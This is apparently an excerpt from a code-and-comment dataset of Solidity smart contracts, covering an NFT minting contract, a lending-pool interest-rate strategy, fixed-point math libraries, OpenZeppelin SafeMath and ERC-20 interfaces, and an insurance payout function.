function mintPublic(uint256 amount)
external
payable
onlyWallets
returns (bool)
{
uint256 supply = totalSupply();
require(isPublicActive, "public sale not activated");
require(
amount > 0 && amount <= maxBatchSize,
"amount exceeds batch limit"
);
require(
supply + amount <= PUBLIC_SUPPLY,
"amount exceeds available supply"
);
require(msg.value == PRICE * amount, "incorrect ETH amount sent");
_safeMint(msg.sender, amount);
return true;
}
function airdrop(address to, uint256 amount)
external
onlyOwner
returns (bool)
{
uint256 supply = totalSupply();
require(supply + amount <= MAX_SUPPLY, "amount exceeds max supply");
_safeMint(to, amount);
return true;
}
function withdrawTeam() external onlyOwner returns (bool) {
uint256 balance = address(this).balance;
require(balance > 0, "no funds to withdraw");
//transfer funds
payable(msg.sender).transfer(balance);
return true;
}
function setBaseURI(string memory baseURI) public onlyOwner returns (bool) {
baseTokenURI = baseURI;
return true;
}
function _baseURI() internal view virtual override returns (string memory) {
return baseTokenURI;
}
}
|
See {IERC721Enumerable-totalSupply}./
|
function totalSupply() public view override returns (uint256) {
return nextIndexId - 1;
}
| 7,897,992 |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
import "@openzeppelin/contracts-upgradeable/utils/math/SafeMathUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol";
import "../interfaces/IReserveInterestRateStrategy.sol";
import "../libraries/KyokoMath.sol";
import "../libraries/PercentageMath.sol";
/**
* @title DefaultReserveInterestRateStrategy contract
* @notice Implements the calculation of the interest rates depending on the reserve state
* @dev The model of interest rate is based on 2 slopes, one before the `OPTIMAL_UTILIZATION_RATE`
* point of utilization and another from that one to 100%
**/
contract DefaultReserveInterestRateStrategy is IReserveInterestRateStrategy {
using KyokoMath for uint256;
using SafeMathUpgradeable for uint256;
using PercentageMath for uint256;
/**
* @dev this constant represents the utilization rate at which the pool aims to obtain most competitive borrow rates.
* Expressed in ray
**/
uint256 public immutable OPTIMAL_UTILIZATION_RATE;
/**
* @dev This constant represents the excess utilization rate above the optimal. It's always equal to
* 1-optimal utilization rate. Added as a constant here for gas optimizations.
* Expressed in ray
**/
uint256 public immutable EXCESS_UTILIZATION_RATE;
// Base variable borrow rate when Utilization rate = 0. Expressed in ray
uint256 internal immutable _baseVariableBorrowRate;
// Slope of the variable interest curve when utilization rate > 0 and <= OPTIMAL_UTILIZATION_RATE. Expressed in ray
uint256 internal immutable _variableRateSlope1;
// Slope of the variable interest curve when utilization rate > OPTIMAL_UTILIZATION_RATE. Expressed in ray
uint256 internal immutable _variableRateSlope2;
constructor(
uint256 optimalUtilizationRate,
uint256 baseVariableBorrowRate,
uint256 variableRateSlope1,
uint256 variableRateSlope2
) public {
OPTIMAL_UTILIZATION_RATE = optimalUtilizationRate;
EXCESS_UTILIZATION_RATE = KyokoMath.ray().sub(optimalUtilizationRate);
_baseVariableBorrowRate = baseVariableBorrowRate;
_variableRateSlope1 = variableRateSlope1;
_variableRateSlope2 = variableRateSlope2;
}
function variableRateSlope1() external view returns (uint256) {
return _variableRateSlope1;
}
function variableRateSlope2() external view returns (uint256) {
return _variableRateSlope2;
}
function baseVariableBorrowRate() external view override returns (uint256) {
return _baseVariableBorrowRate;
}
function getMaxVariableBorrowRate()
external
view
override
returns (uint256)
{
return
_baseVariableBorrowRate.add(_variableRateSlope1).add(
_variableRateSlope2
);
}
/**
* @dev Calculates the interest rates depending on the reserve's state and configurations
* @param reserve The address of the reserve
* @param liquidityAdded The liquidity added during the operation
* @param liquidityTaken The liquidity taken during the operation
* @param totalVariableDebt The total borrowed from the reserve at a variable rate
* @param reserveFactor The reserve portion of the interest that goes to the treasury of the market
* @return The liquidity rate and the variable borrow rate
**/
function calculateInterestRates(
address reserve,
address kToken,
uint256 liquidityAdded,
uint256 liquidityTaken,
uint256 totalVariableDebt,
uint256 reserveFactor
) external view override returns (uint256, uint256) {
uint256 availableLiquidity = IERC20Upgradeable(reserve).balanceOf(
kToken
);
//avoid stack too deep
availableLiquidity = availableLiquidity.add(liquidityAdded).sub(
liquidityTaken
);
return
calculateInterestRates(
availableLiquidity,
totalVariableDebt,
reserveFactor
);
}
struct CalcInterestRatesLocalVars {
uint256 totalDebt;
uint256 currentVariableBorrowRate;
uint256 currentLiquidityRate;
uint256 utilizationRate;
}
/**
* @dev Calculates the interest rates depending on the reserve's state and configurations.
* NOTE This function is kept for compatibility with the previous DefaultInterestRateStrategy interface.
* New protocol implementation uses the new calculateInterestRates() interface
* @param availableLiquidity The liquidity available in the corresponding kToken
* @param totalVariableDebt The total borrowed from the reserve at a variable rate
* @param reserveFactor The reserve portion of the interest that goes to the treasury of the market
* @return The liquidity rate, the stable borrow rate and the variable borrow rate
**/
function calculateInterestRates(
uint256 availableLiquidity,
uint256 totalVariableDebt,
uint256 reserveFactor
) public view override returns (uint256, uint256) {
CalcInterestRatesLocalVars memory vars;
vars.totalDebt = totalVariableDebt;
vars.currentVariableBorrowRate = 0;
vars.currentLiquidityRate = 0;
vars.utilizationRate = vars.totalDebt == 0
? 0
: vars.totalDebt.rayDiv(availableLiquidity.add(vars.totalDebt));
if (vars.utilizationRate > OPTIMAL_UTILIZATION_RATE) {
uint256 excessUtilizationRateRatio = vars
.utilizationRate
.sub(OPTIMAL_UTILIZATION_RATE)
.rayDiv(EXCESS_UTILIZATION_RATE);
vars.currentVariableBorrowRate = _baseVariableBorrowRate
.add(_variableRateSlope1)
.add(_variableRateSlope2.rayMul(excessUtilizationRateRatio));
} else {
vars.currentVariableBorrowRate = _baseVariableBorrowRate.add(
vars.utilizationRate.rayMul(_variableRateSlope1).rayDiv(
OPTIMAL_UTILIZATION_RATE
)
);
}
vars.currentLiquidityRate = _getOverallBorrowRate(
totalVariableDebt,
vars.currentVariableBorrowRate
).rayMul(vars.utilizationRate).percentMul(
PercentageMath.PERCENTAGE_FACTOR.sub(reserveFactor)
);
return (vars.currentLiquidityRate, vars.currentVariableBorrowRate);
}
/**
* @dev Calculates the overall borrow rate as the weighted average between the total variable debt and total stable debt
* @param totalVariableDebt The total borrowed from the reserve at a variable rate
* @param currentVariableBorrowRate The current variable borrow rate of the reserve
* @return The weighted averaged borrow rate
**/
function _getOverallBorrowRate(
uint256 totalVariableDebt,
uint256 currentVariableBorrowRate
) internal pure returns (uint256) {
uint256 totalDebt = totalVariableDebt;
if (totalDebt == 0) return 0;
uint256 weightedVariableRate = totalVariableDebt.wadToRay().rayMul(
currentVariableBorrowRate
);
uint256 overallBorrowRate = weightedVariableRate.rayDiv(
totalDebt.wadToRay()
);
return overallBorrowRate;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
/**
* @title PercentageMath library
* @notice Provides functions to perform percentage calculations
* @dev Percentages are defined by default with 2 decimals of precision (100.00). The precision is indicated by PERCENTAGE_FACTOR
* @dev Operations are rounded half up
**/
library PercentageMath {
uint256 constant PERCENTAGE_FACTOR = 1e4; //percentage plus two decimals
uint256 constant HALF_PERCENT = PERCENTAGE_FACTOR / 2;
/**
* @dev Executes a percentage multiplication
* @param value The value of which the percentage needs to be calculated
* @param percentage The percentage of the value to be calculated
* @return The percentage of value
**/
function percentMul(uint256 value, uint256 percentage) internal pure returns (uint256) {
if (value == 0 || percentage == 0) {
return 0;
}
require(
value <= (type(uint256).max - HALF_PERCENT) / percentage,
"MATH_MULTIPLICATION_OVERFLOW"
);
return (value * percentage + HALF_PERCENT) / PERCENTAGE_FACTOR;
}
/**
* @dev Executes a percentage division
* @param value The value of which the percentage needs to be calculated
* @param percentage The percentage of the value to be calculated
* @return The value divided the percentage
**/
function percentDiv(uint256 value, uint256 percentage) internal pure returns (uint256) {
require(percentage != 0, "MATH_DIVISION_BY_ZERO");
uint256 halfPercentage = percentage / 2;
require(
value <= (type(uint256).max - halfPercentage) / PERCENTAGE_FACTOR,
"MATH_MULTIPLICATION_OVERFLOW"
);
return (value * PERCENTAGE_FACTOR + halfPercentage) / percentage;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
library KyokoMath {
uint256 internal constant WAD = 1e18;
uint256 internal constant halfWAD = WAD / 2;
uint256 internal constant RAY = 1e27;
uint256 internal constant halfRAY = RAY / 2;
uint256 internal constant WAD_RAY_RATIO = 1e9;
/**
* @return One ray, 1e27
**/
function ray() internal pure returns (uint256) {
return RAY;
}
/**
* @return One wad, 1e18
**/
function wad() internal pure returns (uint256) {
return WAD;
}
/**
* @return Half ray, 1e27/2
**/
function halfRay() internal pure returns (uint256) {
return halfRAY;
}
/**
* @return Half ray, 1e18/2
**/
function halfWad() internal pure returns (uint256) {
return halfWAD;
}
/**
* @dev Multiplies two wad, rounding half up to the nearest wad
* @param a Wad
* @param b Wad
* @return The result of a*b, in wad
**/
function wadMul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0 || b == 0) {
return 0;
}
require(a <= (type(uint256).max - halfWAD) / b, "MATH_MULTIPLICATION_OVERFLOW");
return (a * b + halfWAD) / WAD;
}
/**
* @dev Divides two wad, rounding half up to the nearest wad
* @param a Wad
* @param b Wad
* @return The result of a/b, in wad
**/
function wadDiv(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "MATH_DIVISION_BY_ZERO");
uint256 halfB = b / 2;
require(a <= (type(uint256).max - halfB) / WAD, "MATH_MULTIPLICATION_OVERFLOW");
return (a * WAD + halfB) / b;
}
/**
* @dev Multiplies two ray, rounding half up to the nearest ray
* @param a Ray
* @param b Ray
* @return The result of a*b, in ray
**/
function rayMul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0 || b == 0) {
return 0;
}
require(a <= (type(uint256).max - halfRAY) / b, "MATH_MULTIPLICATION_OVERFLOW");
return (a * b + halfRAY) / RAY;
}
/**
* @dev Divides two ray, rounding half up to the nearest ray
* @param a Ray
* @param b Ray
* @return The result of a/b, in ray
**/
function rayDiv(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "MATH_DIVISION_BY_ZERO");
uint256 halfB = b / 2;
require(a <= (type(uint256).max - halfB) / RAY, "MATH_MULTIPLICATION_OVERFLOW");
return (a * RAY + halfB) / b;
}
/**
* @dev Casts ray down to wad
* @param a Ray
* @return a casted to wad, rounded half up to the nearest wad
**/
function rayToWad(uint256 a) internal pure returns (uint256) {
uint256 halfRatio = WAD_RAY_RATIO / 2;
uint256 result = halfRatio + a;
require(result >= halfRatio, "MATH_ADDITION_OVERFLOW");
return result / WAD_RAY_RATIO;
}
/**
* @dev Converts wad up to ray
* @param a Wad
* @return a converted in ray
**/
function wadToRay(uint256 a) internal pure returns (uint256) {
uint256 result = a * WAD_RAY_RATIO;
require(result / WAD_RAY_RATIO == a, "MATH_MULTIPLICATION_OVERFLOW");
return result;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
interface IReserveInterestRateStrategy {
function baseVariableBorrowRate() external view returns (uint256);
function getMaxVariableBorrowRate() external view returns (uint256);
function calculateInterestRates(
uint256 availableLiquidity,
uint256 totalVariableDebt,
uint256 reserveFactor
)
external
view
returns (
uint256,
uint256
);
function calculateInterestRates(
address reserve,
address kToken,
uint256 liquidityAdded,
uint256 liquidityTaken,
uint256 totalVariableDebt,
uint256 reserveFactor
)
external
view
returns (
uint256 liquidityRate,
uint256 variableBorrowRate
);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol)
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
* now has built in overflow checking.
*/
library SafeMathUpgradeable {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20Upgradeable {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
|
Divides two ray, rounding half up to the nearest ray a Ray b Ray return The result of a/b, in ray/
|
function rayDiv(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "MATH_DIVISION_BY_ZERO");
uint256 halfB = b / 2;
require(a <= (type(uint256).max - halfB) / RAY, "MATH_MULTIPLICATION_OVERFLOW");
return (a * RAY + halfB) / b;
}
| 5,861,409 |
./full_match/43113/0xA5cd6b573947F13C7D3921ff52619afcD873Da57/sources/Insurance/riskPool.sol
|
Use "require" to call this function after insuredDeadline when you make your product. You have to return premium equivalent to the rest of their insurance period, so calculate amount for payout in the riskPool./
|
function calculateInvestedPoolBalanceForPayout() public returns(uint256) {
for (uint256 i = 0; i < nextInsuredId; i++) {
uint256 _investedPoolMaxBalanceForPayout;
if (earthquakeOccuranceTime[0] <= Contents[i].applyingtime + baseInsuredPeriod
&& earthquakeOccuranceTime[0] > Contents[i].applyingtime) {
_investedPoolMaxBalanceForPayout = Contents[i].premium * investmentMultiple;
}
investedPoolMaxBalanceForPayout += _investedPoolMaxBalanceForPayout;
}
return investedPoolMaxBalanceForPayout;
}
| 7,142,759 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.